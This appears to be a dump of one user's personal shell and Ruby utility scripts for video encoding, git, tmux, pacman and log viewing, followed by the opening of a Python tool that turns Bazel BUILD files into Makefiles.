[0,1,3] def self.from_line(line) if line =~ /^([^(]+)\((\d+)\): ([A-Z]+) (.+)$/ new($1, $2.to_i, $3, $4) else nil end end def name "#{pname}(#{pid})" end def to_s "#{name}: #{flags} #{path}" end def <=>(other) values_at(*COMPARABLE_VAULES) <=> other.values_at(*COMPARABLE_VAULES) end end def print_group(g) case g.size when 0 raise "empty group?" when 1 puts g.first else puts g.first.name g.each do |ev| puts " #{ev.flags} #{ev.path}" end end end IO.popen(["sudo", "fatrace"]) do |io| # open("#{ENV["HOME"]}/fatrace.txt") do |io| last_event = nil g = [] io.lazy.map(&:chomp).each do |line| p line if event = Event.from_line(line) if last_event and event != last_event print_group(g) g = [] end g << event last_event = event else puts "Error: couldn't parse #{line.inspect}" end end end<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: unpax <binary>" echo "effect: sets some xattrs that allow the binary to do dangerous (unsafe!) mmap operations" exit 1 fi setfattr -n user.pax.flags -v "emr" "$1"<file_sep>#!/bin/bash redshift -O 1500 -g 1.0 -b 0.6 <file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' ##################################################################################### # OPTION PARSER def parse_options @opts = Slop.parse(help: true, strict: true) do banner 'Usage: handbrake-phone-video [options] <video>' on 'o=', 'out', 'Output file' on 'p=', 'preset', 'Preset (default=Normal)', default: "Normal" on 'r=', 'rotate', 'Rotate degrees (default=auto)', default: "auto" on 'l=', 'length', 'Encode this amount of the video' on 's=', 'start', 'Start at this time' on 'e=', 'end', 'Stop at this time' # on 'v', 'verbose', 'Show extra debug information' end end ##################################################################################### if $0 == __FILE__ opts = parse_options files = ARGV unless files.any? puts "Error: Must supply one video file." puts puts parse_options exit 1 end if files.size > 1 and opts[:out] puts "Error: Can't specify -o when passing multiple input files." exit 1 end files.each do |file| inp = file.to_Path outp = opts[:out] || inp.with(base: inp.base + "-handbraked") cmd = ["HandBrakeCLI"] if opts[:preset] == "help" or opts[:preset] == "list" cmd << "--preset-list" else cmd += ["-i", inp.to_s, "-o", outp.to_s, "--preset", opts[:preset]] if opts[:rotate] == "auto" rotate = run_with_stderr("ffprobe", inp).scan(/rotate\s+:\s+(\d+)/).flatten.first else rotate = opts[:rotate] end # --rotate arguments: # (rhv) # 0: 000 = none (rotate 0°) # 1: 001 = vflip # 2: 010 = hflip # 3: 011 = hflip + vflip (rotate 180°) # 4: 100 = right (rotate 90°) # 5: 101 = right + hflip # 6: 110 = right + vflip # 7: 111 = right + hflip + vflip (rotate 270°) if rotate case rotate when "270" then r = 7 when "180" then r = 3 when "90" then r = 4 when "0" then r = 0 else raise "Error: Unknown rotation value: #{rotate}" end cmd += ["--rotate=#{r}"] end cmd += ["--start-at", "duration:#{opts[:start]}"] if opts[:start] cmd += ["--stop-at", "duration:#{opts[:length]}"] if opts[:length] cmd += ["--stop-at", "duration:#{opts[:end]}"] if opts[:end] end # HandBrakeCLI -i "VID_20140519_221543 - front lawn concert.mp4" --rotate 3 --cfr --preset=Normal -o /d/front\ lawn\ concert2.mp4 p cmd system *cmd # run_with_stderr(*cmd) do |io| # io.each_line do |line| # puts line # if line =~ /Encoding:/ # end # end end end<file_sep>#!/usr/bin/env ruby require 'epitools' tree = {} ARGF.each_line do |line| tree.mkdir_p line.split("/") end tree.print_tree<file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: gp <commit message>" echo echo ' "git commit" all modified files, then "git push" if successful.' echo exit 1 fi echo "Committing" echo "------------------------------" if [ "$*" == "" ] then git commit -a -v else git commit -a -m "$*" fi RESULT=$? echo if [ $RESULT -ne 0 ] then echo Commit failed else echo "Pushing" echo "------------------------------" git push fi <file_sep>#!/usr/bin/env ruby require 'epitools' def cropdetect(file, verbose: false, seek: nil) captures = [] cmd = %w[mplayer -quiet -ao null -frames 10 -vf cropdetect -vo null] cmd += ["-ss", seek || "60"] cmd += [file] p cmd if verbose IO.popen(cmd, :err=>[:child, :out]) do |io| io.each_line do |line| if line =~ /\((-vf) (crop=.+?)\)/ captures << [$1, $2] end end end #["-vf", "crop=640:368:108:62"] grouped = captures.group_by { |c| c }.map{|k,v| [v.size, k] }.sort # pp grouped best = grouped.last.last end paths = ARGV.map { |arg| Path[arg] } paths.each do |path| puts "<8>* <11>Autocropping <13>#{path.filename}<8>".colorize vf, vfopts = cropdetect(path) path["user.mpv.vf"] = vfopts puts " <8>|_ <7>New xattrs: <15>#{path.attrs}".colorize end <file_sep>#!/bin/bash # tmux capture-pane [option]s: # -p = stdout # -e = escape sequences # -S = starting line # # to capture directly from a window, do: # Ctrl-a, : # capture-pane -e -S -1000000 # Ctrl-a, : # save-buffer tmux.log if [ "$1" == "" ]; then tmux capture-pane -pe -S -1000000 else if [ "$1" == "--help" ]; then echo "usage: tmux-dump-scrollback [<target pane>]" exit 1 else tmux capture-pane -pe -S -1000000 -t "$1" fi fi <file_sep>#!/usr/bin/env ruby require 'rubygems' # Send annoying Ruby 2.7.0 deprecation warnings to STDERR so that our *actual* output can be used in scripts $real_stdout = $stdout $stdout = $stderr def gem_specs(name) if Gem::Specification.respond_to?(:each) Gem::Specification.find_all_by_name(name) else Gem.source_index.find_name(name) end end def bundler_specs(name) if File.exists?("Gemfile") require 'bundler' Bundler.load.specs.select { |s| s.name == name } # Bundler.environment.specs.select { |s| s.name == name } else [] end rescue Bundler::GemNotFound => e puts e [] end raise "Error: must specify a gem" unless ARGV.size == 1 gem_name = ARGV.first all_specs = gem_specs(gem_name) + bundler_specs(gem_name) if spec = all_specs.sort_by(&:version).last $real_stdout.puts spec.full_gem_path else STDERR.puts "ERROR: Gem `#{gem_name}` not found" exit 1 end <file_sep>#!/usr/bin/env ruby require 'epitools' unless ARGV.any? puts "Usage: goog <query>" exit 1 end class Result attr_accessor :title, :url, :desc, :highlighted_desc def initialize(result) link = result.at("h3.r a") @title = link.text @url = URI.parse(link["href"]).params["q"] desc = result.at(".s .st") @desc = desc.text @highlighted_desc = highlight(desc) end def highlight(desc, color=7, highlight=14) translated = desc.children.map do |child| case child when Nokogiri::XML::Text child.text when Nokogiri::XML::Element case child.name when "b" "<#{highlight}>#{child.text}</#{highlight}>" else child.text end end end "<#{color}>#{translated.join}</#{color}>" end end query = ARGV.join(" ") puts "Searching for: <14>#{query}".colorize b = Browser.new page = b.get "http://google.com/" form = page.forms.first form.fields_with(name: "q").first.value = query page = form.submit results = page.at("#ires").search("li.g").map {|result| Result.new result } puts "Results: #{results.size}" results = Hash[ (1..results.size).zip(results) ] results.each do |n, r| indent = " " * (n.to_s.size + 2) puts "<11>#{n}. <15>#{r.title}".colorize puts "#{indent}#{r.url}".light_blue puts "#{indent}#{r.highlighted_desc.colorize}" puts end print "pick > ".light_yellow choices = $stdin.gets.strip.split choices.each do |choice| result = results[choice.to_i] puts result.url end<file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## def pacgrep(*args) pkgs = Hash.of_arrays matches = IO.popen("pacman -Ql | grep --color=always #{args.join}") do |io| io.each_line do |line| next unless line[/#{args.join(" ")}/] pkg, file = line.split(/\s+/, 2) pkgs[pkg] << file end end return false if pkgs.empty? pkgs.each do |pkg, matches| puts "<8>=== <11>#{pkg} <8>===================================".colorize matches.each { |m| puts m } puts end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: wtfis [options] <thing>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## system("whatis", *args) || system("man", *args) || pacgrep(*args) || puts("error: dunno what #{args} is") <file_sep>#!/usr/bin/env ruby # # TODOs: # * Aliases (eg: h c => h run rails c) # args = ARGV cmd = ["heroku"] if args.empty? cmd << "--help" elsif args.include? "--help" cmd += args else if args.first == "-p" args.shift repo = "production" else repo = "staging" end cmd << "run" if args.first == "rails" cmd += [*args, "-r", repo] end p cmd system *cmd <file_sep>#!/bin/bash lesscmd="less -RXFi" paccmd="pacman --color=always" if [[ "$1" == "" ]]; then choice="$($paccmd -Q | $lesscmd | fzf --ansi | fields 1)" if [ "$choice" != "" ]; then pacl $choice; fi else if $paccmd -Ql "$*" 2>&1 then # yay it worked echo else echo echo "== Similar packages ===" $paccmd -Q | grep --color=always "$*" fi | $lesscmd fi <file_sep>#!/bin/bash echo "* apt-get optimizing..." sudoifnotroot dpkg --clear-avail if [ ! "`which sync-available`" == "" ]; then sudoifnotroot sync-available else echo "* dctrl-tools not installed. skipping sync-available." fi echo "* apt-get update..." sudoifnotroot apt-get update > /dev/null echo "* done!" <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "Usage:" echo " wayback-mirror <url>" echo echo "Example:" echo " wayback-mirror http://web.archive.org/web/20150214081221/http://www.aaronsw.com/weblog/fullarchive" echo else wget -np -e robots=off --mirror --domains=staticweb.archive.org,web.archive.org "$@" fi<file_sep>#!/bin/bash iconv -f CP437 -t UTF-8 "$@" <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' def parse_options opts = Slop.parse(help: true, strict: true) do banner 'Usage: newscript [options] <script name>' on 'b', 'bash', 'Bash script' on 'r', 'ruby', 'Ruby script' end [opts, ARGV] end opts, args = parse_options if opts.bash? body = <<~BODY #!/bin/bash if [ "$1" == "" ]; then echo "usage: <<scriptname>>" exit 1 fi BODY elsif opts.ruby? body = <<~BODY #!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: <<scriptname>> [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## BODY else body = "" end for arg in args dest = Path["~/scripts/#{arg}"] if dest.exists? if prompt("* #{dest.to_s.light_red} already exists! Overwrite?", "Yn") == "y" dest.rm else exit end end dest << body.gsub("<<scriptname>>", arg) cmd ["chmod +x ?", dest] puts "* #{dest.to_s.bright_green} created..." system("s", arg) end <file_sep>echo ${1:-what} <file_sep>#!/bin/bash BM_FILE=~/docs/bookmarks.txt echo "[removed] $(tail -n 1 $BM_FILE)" head -n -1 $BM_FILE > $BM_FILE.undo mv $BM_FILE $BM_FILE.bak mv $BM_FILE.undo $BM_FILE <file_sep>#!/bin/bash while true; do echo -en "\e[1GEntropy available: $(cat /proc/sys/kernel/random/entropy_avail)\e[0K" sleep 1 done <file_sep>#!/bin/bash #zgrep "Invalid user" /var/log/auth.log*|less -S zgrep "Failed password" /var/log/auth.log*|less -S <file_sep>#!/usr/bin/env python2 # Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Lives at: # https://gist.github.com/jart/082b1078a065b79949508bbe1b7d8ef0/raw/ffe47764a5f2117c96a7bcf42813b775956e128c/blakefiler.py """Tool for turning Bazel BUILD files into a Makefile.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import collections import functools import itertools import os import pprint import re import subprocess import sys import types import weakref import xml.etree.ElementTree LABEL_DELIMITERS = re.compile(r'[@/:]') VARIABLE_PATTERN = re.compile(r'\$(?:([\$@<])|\(([^\)]*)\))') SH_SPECIAL_CHARACTERS_PATTERN = re.compile(r'[!"#$&\'();<>\\|~]') DEFAULT_CONFIG_VALUES = ( ('ARCH', 'android_cpu', 'armeabi'), ('ARCH', 'cpu', 'k8'), ('ARCH', 'ios_cpu', 'x86_64'), ('LABEL', 'android_crosstool_top', None), ('LABEL', 'crosstool_top', None), ) BAZEL_VARIABLES = frozenset([ 'ABI', 'ANDROID_CPU', 'AR', 'COMPILATION_MODE', 'CPP', 'DWP', 'GCC', 'GCOV', 'GCOVTOOL', 'GLIBC_VERSION', 'JAVA', 'JAVABASE', 'JAVAC', 'LD', 'LLVM_PROFDATA', 'NM', 'OBJCOPY', 'OBJDUMP', 'STACK_FRAME_UNLIMITED', 'STRIP', 'TARGET_CPU', ]) REMAPPED_VARIABLES = { 'CC': '$(CXX)', 'CC_FLAGS': '$(CXXFLAGS.security) $(CXXFLAGS) $(CPPFLAGS) $(TARGET_ARCH)', 'JAVABASE': '$(JAVA_HOME)', } FORBIDDEN_VARIABLES = (frozenset(m.group(1) for v in REMAPPED_VARIABLES.values() for m in VARIABLE_PATTERN.finditer(v)) - BAZEL_VARIABLES) PASSTHROUGH_VARIABLES = BAZEL_VARIABLES | FORBIDDEN_VARIABLES DONT_COPY_SOURCES_FROM_THESE_REPOS = frozenset(['local_jdk', 'bazel_tools']) HEADER = '''\ .--. .--. .'(` / ..\\ __.>\ '. _.---,._,' ____.' _o/ /.--. : |/' _.--.< '--. |.__ _..-' `\ /' `' _.-' /--' >_.-``-. `Y /' _.---._____ _.--' / '` .-''. \|: \.' ___, .-'` ~'--....___.-' .'--._ `-: \/ /' \\ /.'`\ :; /' `-. blakefile -` | | version o.1 :.; : | |: | The sun does arise, | : And make happy the skies. :. : | The merry bells ring | ; : To welcome the Spring. :; .| The sky-lark and thrush, | | The birds of the bush, :. : | Sing louder around, | . | To the bells' cheerful sound :. .| While our sports shall be seen | ; | On the Echoing Green. .jgs ; /:::. `\\\ ''' # TODO(jart): Get this from the the CROSSTOOL protos. DEFINITIONS = '''\ AR = ar ARFLAGS = rcsD AS = as CC = cc CPP = $(CC) -E CXX = c++ DWP = dwp FPIC = -fPIC FPIE = -fPIE GCC = gcc GCOV = gcov GCOVTOOL = gcov-tool JAVA = java JAVAC = javac LD = ld LLVM_PROFDATA = llvm-profdata NM = nm NOWA = -Wl,--no-whole-archive OBJCOPY = objcopy OBJDUMP = objdump PIE = -pie STRIP = strip WA = -Wl,--whole-archive STACK_FRAME = -Wframe-larger-than=32768 STACK_FRAME_UNLIMITED = -Wframe-larger-than=100000000 -Wno-vla CFLAGS.security = -fstack-protector $(STACK_FRAME) CPPFLAGS.security = -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 CXXFLAGS.security = $(CFLAGS.security) LDFLAGS.security = -Wl,-z,relro,-z,now CPPFLAGS.determinism =\ -Wno-builtin-macro-redefined\ '-D__DATE__="redacted"'\ '-D__TIMESTAMP__="redacted"'\ '-D__TIME__="redacted"' CFLAGS.fastbuild = -g0 -O0 CPPFLAGS.fastbuild = CXXFLAGS.fastbuild = $(CFLAGS.fastbuild) LDFLAGS.fastbuild = -Wl,-S CFLAGS.dbg = -g CPPFLAGS.dbg = CXXFLAGS.dbg = $(CFLAGS.dbg) LDFLAGS.dbg = CFLAGS.opt = -g0 -O2 -ffunction-sections -fdata-sections CPPFLAGS.opt = -DNDEBUG CXXFLAGS.opt = $(CFLAGS.opt) LDFLAGS.opt = -Wl,--gc-sections CFLAGS.global = CPPFLAGS.global = $(CPPFLAGS.determinism) CXXFLAGS.global = -std=c++11 LDFLAGS.global = ifeq ($(COMPILATION_MODE),fastbuild) CFLAGS.default = $(CFLAGS.global) $(CFLAGS.fastbuild) CPPFLAGS.default = $(CPPFLAGS.global) $(CPPFLAGS.fastbuild) CXXFLAGS.default = $(CXXFLAGS.global) $(CXXFLAGS.fastbuild) LDFLAGS.default = $(LDFLAGS.global) $(LDFLAGS.fastbuild) endif ifeq ($(COMPILATION_MODE),dbg) CFLAGS.default = $(CFLAGS.global) $(CFLAGS.dbg) CPPFLAGS.default = $(CPPFLAGS.global) $(CPPFLAGS.dbg) CXXFLAGS.default = $(CXXFLAGS.global) $(CXXFLAGS.dbg) LDFLAGS.default = $(LDFLAGS.global) $(LDFLAGS.dbg) endif ifeq ($(COMPILATION_MODE),opt) CFLAGS.default = $(CFLAGS.global) $(CFLAGS.opt) CPPFLAGS.default = $(CPPFLAGS.global) $(CPPFLAGS.opt) CXXFLAGS.default = $(CXXFLAGS.global) $(CXXFLAGS.opt) LDFLAGS.default = $(LDFLAGS.global) $(LDFLAGS.opt) endif CFLAGS = $(CFLAGS.default) CPPFLAGS = $(CPPFLAGS.default) CXXFLAGS = $(CXXFLAGS.default) LDFLAGS = $(LDFLAGS.default) ''' GENRULE_SETUP = '''\ #!/bin/bash set -euo pipefail ''' A_EXTS = ('.a',) CC_EXTS = ('.cc', '.cpp', '.cxx', '.c++') C_EXTS = ('.c', '.C') EXE_EXTS = ('', '.exe') H_EXTS = ('.h', '.hh', '.hpp', '.hxx', '.inc') O_EXTS = ('.o',) O_PIC_EXTS = ('.pic.o',) SO_EXTS = ('.so',) S_CPP_EXTS = ('.S',) S_EXTS = ('.s',) LDLIBS_PREFIXES = ('-l',) ARCHIVE = '$(AR) $(ARFLAGS) $@ $^' COMPILE_C = ('$(CC) $(CFLAGS.security) %(copts)s $(CFLAGS) ' '$(CPPFLAGS.security) %(cppflags)s $(FPIE) $(CPPFLAGS) ' '%(iquotes)s $(TARGET_ARCH) -c -o $@ $<') COMPILE_C_PIC = ('$(CC) $(CFLAGS.security) %(copts)s $(CFLAGS) ' '$(CPPFLAGS.security) %(cppflags)s $(CPPFLAGS) %(iquotes)s ' '$(FPIC) $(TARGET_ARCH) -c -o $@ $<') COMPILE_CC = ('$(CXX) $(CXXFLAGS.security) %(copts)s $(CXXFLAGS) ' '$(CPPFLAGS.security) %(cppflags)s $(FPIE) $(CPPFLAGS) ' '%(iquotes)s $(TARGET_ARCH) -c -o $@ $<') COMPILE_CC_PIC = ('$(CXX) $(CXXFLAGS.security) %(copts)s $(CXXFLAGS) ' '$(CPPFLAGS.security) %(cppflags)s $(CPPFLAGS) %(iquotes)s ' '$(FPIC) $(TARGET_ARCH) -c -o $@ $<') COMPILE_S = '$(AS) $(ASFLAGS) $(TARGET_MACH) -o $@ $<' LINK_C = ('$(CC) $(CFLAGS.security) %(copts)s $(CFLAGS) $(LDFLAGS.security) ' '%(ldflags)s $(PIE) $(LDFLAGS) $(TARGET_ARCH) %(links)s $(LOADLIBES) ' '%(ldlibs)s $(LDLIBS) -o $@') LINK_CC = ('$(CXX) $(CFLAGS.security) %(copts)s $(CXXFLAGS) ' '$(LDFLAGS.security) %(ldflags)s $(PIE) $(LDFLAGS) $(TARGET_ARCH) ' '%(links)s $(LOADLIBES) %(ldlibs)s $(LDLIBS) -o $@') LINK_SO_C = ('$(CC) -shared $(LDFLAGS.security) %(ldflags)s $(LDFLAGS) -o $@ ' '%(links)s %(ldlibs)s') LINK_SO_CC = ('$(CXX) -shared $(LDFLAGS.security) %(ldflags)s $(LDFLAGS) -o $@ ' '%(links)s %(ldlibs)s') PREPROCESS = '$(CPP) $(CPPFLAGS.security) $(CPPFLAGS) -o $@ $<' BINDIR = 'blake-bin' GENDIR = '' LOCATION_PREFIX = 'location ' GENRULE_ECHO_LINE_LIMIT = 5 _INTERNED = weakref.WeakValueDictionary() def crawl(depset): """Iterates depth-first left-to-right without dupes or nulls.""" seen = set() def dive(item): if hasattr(item, '__iter__'): for i in item: for d in dive(i): yield d elif item not in seen: seen.add(item) yield item for d in dive(depset): if d is not None: yield d def roll(package, labels, rules): """Applies label expansion.""" labels = (package.resolve(l) for l in labels) return (rules[l].get_files(rules) if l in rules else l for l in labels) def join(depset, fmt='%s'): """Coerces depset to a single string.""" return ' '.join(fmt % d for d in crawl(depset)) def linkorder(depset): return reversed(tuple(crawl(depset))) def memoize(method): """Memoizes method result once per instance, ignoring arguments.""" @functools.wraps(method) def _memoize(self, *args, **kwargs): key = '_memoize_' + method.__name__ if not hasattr(self, key): res = method(self, *args, **kwargs) setattr(self, key, res) else: res = getattr(self, key) return res return _memoize def immutable_interned_value(cls): """Decorator for interned immutable non-iterable values.""" cls.__hash__ = lambda self: self._hash cls.__eq__ = lambda self, o: id(self._key) == id(o._key) cls.__ne__ = lambda self, o: id(self._key) != id(o._key) cls.__lt__ = lambda self, o: self._key < o._key return functools.total_ordering(cls) def new_immutable_interned_value(cls, key): """Called from the __new__ method of an immutable interned value.""" result = _INTERNED.get(key) if result is None: result = object.__new__(cls, key) result._key = key result._hash = hash(key) _INTERNED[key] = result return result def make_source_tree(directory, sources, rules, callback): """Creates a distributable source tree with a Makefile.""" if not os.path.exists(directory): os.makedirs(directory) oldwd = os.getcwd() try: os.chdir(directory) directory = os.getcwd() os.symlink('.', 'external') sources = {k: v for k, v in sources.items() if k.repo.path not in DONT_COPY_SOURCES_FROM_THESE_REPOS} for path in _get_makedirs(l.path for l in sources): if not os.path.exists(path): os.makedirs(path) for label, path in sorted(sources.items()): folder = os.path.dirname(label.path) if not os.path.exists(label.path): if not os.path.isabs(path): path = os.path.relpath(os.path.join(oldwd, path), os.path.dirname(label.path)) os.symlink(path, label.path) for label in crawl(r.get_files(rules) for r in reversed(rules.values())): pointer = label.inside('') if pointer not in rules: rules[pointer] = label with open('Makefile', 'wb') as fp: writer = Writer(fp) callback(writer) for rule in reversed(rules.values()): try: rule.write(writer, rules) except: sys.stderr.write('%s\n' % rule) sys.stderr.flush() raise writer.section('Extra Stuff') writer.rule('.PHONY', 'clean', []) writer.rule('clean', (), ['rm -rf blake-bin']) finally: os.chdir(oldwd) @immutable_interned_value class Text(object): """String that isn't iterable.""" def __new__(cls, text): return new_immutable_interned_value(cls, (cls.__name__, intern(text))) def __init__(self, text): self.text = text def __str__(self): return self.text def __repr__(self): return 'Text(%r)' % self.text @immutable_interned_value class Arg(Text): """String that isn't iterable and gets shell escaped.""" def __str__(self): return _quote_sh(self.text) def __repr__(self): return 'Arg(%r)' % self.text @immutable_interned_value class Variable(Text): """Make variable reference.""" def __str__(self): return '$(%s)' % self.text def __repr__(self): return 'Variable(%r)' % self.text @immutable_interned_value class Label(object): """Location of a thing within Bazel.""" def __new__(cls, text, root=''): return new_immutable_interned_value( cls, (cls.__name__, intern(text), intern(root))) def __init__(self, text, root=''): self.text = text self.root = root @property def repo(self): if self.text.startswith('@'): return Label(self.text[:self.text.index('//')], self.root) else: return Label('', self.root) @property def package(self): p = self.text.find(':') if p == -1: return self return Label(self.text[:p], self.root) @property def name(self): p = self.text.find(':') if p == -1: return self return Label(self.text[p + 1:]) @property def ext(self): name = self.name.text p = name.find('.', max(name.rfind('/'), 0)) result = '' if p == -1 else name[p:] if result.startswith('.pb_text'): # omg! return result[8:] if result.startswith('.pb'): # omg! return result[3:] return result @property def extless(self): ext = self.ext if ext: return Label(self.text[:-len(ext)], self.root) return self @property @memoize def path(self): return os.path.join(self.root, *LABEL_DELIMITERS.split(self.text)) or '.' def var(self, suffix=None): name = self.path.replace('/', '_') if suffix is not None: name = '%s_%s' % (name, suffix) return Variable(name) def is_absolute(self): return self.text.startswith(('@', '//')) def resolve(self, other): if not isinstance(other, Label): other = Label(other) if other.is_absolute(): return other return Label('%s:%s' % (self.package.text, other.name.text), self.root) def inside(self, root): if root == self.root: return self return Label(self.text, root) def get_files(self, unused_rules): return self def write(self, unused_writer, unused_rules): pass def __str__(self): return _quote_sh(self.path) def __repr__(self): if self.root: return 'Label(%r, %r)' % (self.text, self.root) return 'Label(%r)' % self.text @immutable_interned_value class PatternRule(object): """Make pattern rule definition.""" def __new__(cls, obj, src, recipe): return new_immutable_interned_value( cls, (cls.__name__, obj, src, recipe)) def __init__(self, obj, src, recipe): self.obj = obj self.src = src self.recipe = recipe class Build(object): """Bazel query to object mapper.""" def __init__(self, selector): self.rules = collections.OrderedDict() self.sources = {} self._seen = set() self._locations = {} self._code = {} self._selector = selector def load(self, q): assert not self.rules, 'no tarjan' # We need --output=build because --output=xml doesn't encode # select() functions. But we still need --output=xml because # --output=build doesn't encode the fully-qualified Label for a # given rule, or locations for source files. self._code.update(dict(_read_build(_query('build', q)))) deferred = [] for event, node in xml.etree.ElementTree.iterparse(_query('xml', q)): if node.tag == 'source-file': label = Label(node.attrib['name']) self.sources[label] = os.path.join( os.path.dirname(node.attrib['location']), label.name.path) elif node.tag == 'rule': label = Label(node.attrib['name'], '') location = node.attrib['location'] kind = node.attrib['class'] if kind == 'config_setting': config = self._eval(label, self._code[(location, str(label.name))]) self._selector.configs[label] = config else: deferred.append((label, location)) for label, location in deferred: if label in self._seen: continue self._seen.add(label) rule = self._eval(label, self._code[(location, str(label.name))]) self.rules[rule.label] = rule def _eval(self, label, code): try: rule = eval(code, globals(), {'select': self._selector}) except: sys.stderr.write(code) sys.stderr.write('\n') sys.stderr.flush() raise rule.label = label.resolve(rule.label) return rule class Selector(object): """Macro-time implementation of Bazel's select() function.""" def __init__(self, values, define_values): self.values = values self.define_values = define_values self.configs = {Label('//conditions:default'): config_setting()} def __call__(self, cond): matches = [] for key, value in cond.items(): config = self.configs[Label(key)] if config.matches(self): matches.append((config, value)) if not matches: raise ValueError('nothing matched: %r' % cond) if len(matches) > 1: matches.sort(key=lambda m: len(m[0].values) + len(m[0].define_values)) if not all(a[0].matches(b[0]) for a, b in zip(matches, matches[1:])): raise ValueError('multiple non-specialized matches: %r' % cond) return matches[-1][1] class Writer(object): """Readable Makefile writer.""" def __init__(self, out): self._out = out self._in_group = None def write(self, text): """Writes raw text.""" self._out.write(str(text)) def stick(self): """Hints that we don't want a blank line before the next statement.""" self._in_group = True def unstick(self): """Hints that a blank line would be desirable.""" self._in_group = False def comment(self, text, **arg): """Writes a comment.""" if arg: text = text % arg self._group(text.count('\n') == 0) self.write('# ') self.write('\n# '.join(text.split('\n'))) self.write('\n') def section(self, text): """Writes a comment that signifies a new section in the file.""" self._group(False) self.write('#' * 80 + '\n') self.stick() self.comment(text) self.unstick() def variable(self, var, value): """Writes a make variable definition.""" if var is None: return value = [str(l) for l in crawl(value)] self._write_rvalue(var.text + ' =', value, ' \\\n\t') def rule(self, targets, prerequisites, recipes, **args): """Writes a make rule.""" first = True targets = [str(l) for l in crawl(targets)] if not targets: return prerequisites = [str(l) for l in crawl(prerequisites)] if recipes: self.unstick() self._write_rvalue(' \\\n'.join(targets) + ':', prerequisites, ' \\\n\t\t') if recipes: self.write('\t') if args: recipes = [r % args for r in recipes] self.write('\n\t'.join([' \\\n\t'.join(c.split('\n')) for c in recipes])) self.write('\n') self.unstick() def daisy(self, label, targets, prerequisites, recipes, **args): """Writes a make rule, using a hack so multiple targets just works.""" targets = [str(l) for l in crawl(targets)] if len(targets) == 1: self.rule(targets, prerequisites, recipes, **args) return self.unstick() stamp = label.resolve(label.name.path + '.stamp').inside(BINDIR) deps = label.var('PREREQUISITES') self.variable(deps, prerequisites) mkstamp = ('@mkdir -p %s' % os.path.dirname(stamp.path), '@touch %s' % stamp) self.rule(stamp, deps, recipes + mkstamp, **args) self._group(False) for target in targets: self.write('%s: %s;\n' % (target, stamp)) self.unstick() def _write_rvalue(self, before, items, delim): cols = len(before) + sum(len(s) for s in items) + len(items) one_liner = cols <= 80 and before.count('\n') == 0 self._group(one_liner) self.write(before) if one_liner: self.write(' ') self.write(' '.join(items)) else: self.write(delim) self.write(delim.join(items)) self.write('\n') def _group(self, is_one_liner): if self._in_group is None: self._in_group = is_one_liner elif self._in_group: if is_one_liner: return self.write('\n') self._in_group = False else: if is_one_liner: self.write('\n') self._in_group = True else: self.write('\n') class Rule(object): """Base class for Bazel rules.""" def __init__(self, name='', data=(), deps=(), deprecation='', **kwargs): self.label = Label(name) self.data = [Label(s) for s in data] self.deps = [Label(s) for s in deps] self.deprecation = deprecation def get_files(self, rules): return () def write(self, writer, rules): pass def __str__(self): stuff = vars(self) stuff['kind'] = type(self).__name__ return pprint.pformat( {k: v for k, v in stuff.items() if v and not k.startswith('_')}, indent=2) # No support for these rules is offered, but we need to list them anyway # so we don't get errors when running eval() on --output=build. class cc_toolchain(Rule): pass class cc_toolchain_suite(Rule): pass class java_runtime(Rule): pass class java_runtime_suite(Rule): pass class config_setting(Rule): def __init__(self, values=None, define_values=None, **kwargs): super(config_setting, self).__init__(**kwargs) self.values = values or {} self.define_values = define_values or {} if 'define' in self.values: k, v = self.values['define'].split('=', 1) self.define_values[k] = v del self.values['define'] def matches(self, other): return (all(other.values.get(k) == v for k, v in self.values.items()) and all(other.define_values.get(k) == v for k, v in self.define_values.items())) class _transitive_hdrs(Rule): @memoize def get_files(self, rules): return tuple(crawl(rules[dep].transitive_headers(rules) for dep in self.deps)) class filegroup(Rule): def __init__(self, srcs=[], **kwargs): super(filegroup, self).__init__(**kwargs) self.srcs = [Label(s) for s in srcs] @memoize def get_files(self, rules): return tuple(crawl(roll(self.label, self.srcs, rules))) class alias(filegroup): def __init__(self, actual, **kwargs): super(alias, self).__init__(srcs=[actual], **kwargs) self.actual = Label(actual) @memoize def get_files(self, rules): return tuple(crawl(roll(self.label, [self.actual], rules))) class bind(alias): def __init__(self, **kwargs): super(bind, self).__init__(**kwargs) self.label = Label('//external').resolve(self.label) class genrule(Rule): def __init__(self, srcs=(), outs=(), cmd='', tools=(), output_to_bindir=False, **kwargs): super(genrule, self).__init__(**kwargs) self.srcs = [Label(s) for s in srcs] self.outs = [Label(s) for s in outs] self.cmd = cmd self.tools = [Label(s) for s in tools] self.output_to_bindir = bool(output_to_bindir) @memoize def get_files(self, rules): return tuple(crawl((self.get_outs(), self._make_script(rules)[0]))) def get_cmd(self, rules): return self.cmd def get_root(self): return BINDIR if self.output_to_bindir else GENDIR def get_outs(self): root = self.get_root() return (l.inside(root) for l in self.outs) def write(self, writer, rules): writer.section(self.label.text) writer.daisy(self.label, self.get_outs(), (roll(self.label, self.srcs, rules), roll(self.label, self.tools, rules)), self.get_recipes(rules)) def get_recipes(self, rules): return self._make_script(rules)[1] @memoize def _make_script(self, rules): cmd = self.get_cmd(rules) if not cmd or not self.outs: return None, () exports = set() s = cmd s = VARIABLE_PATTERN.sub(self._sub1, s) s = VARIABLE_PATTERN.sub(functools.partial(self._sub2, exports, rules), s) 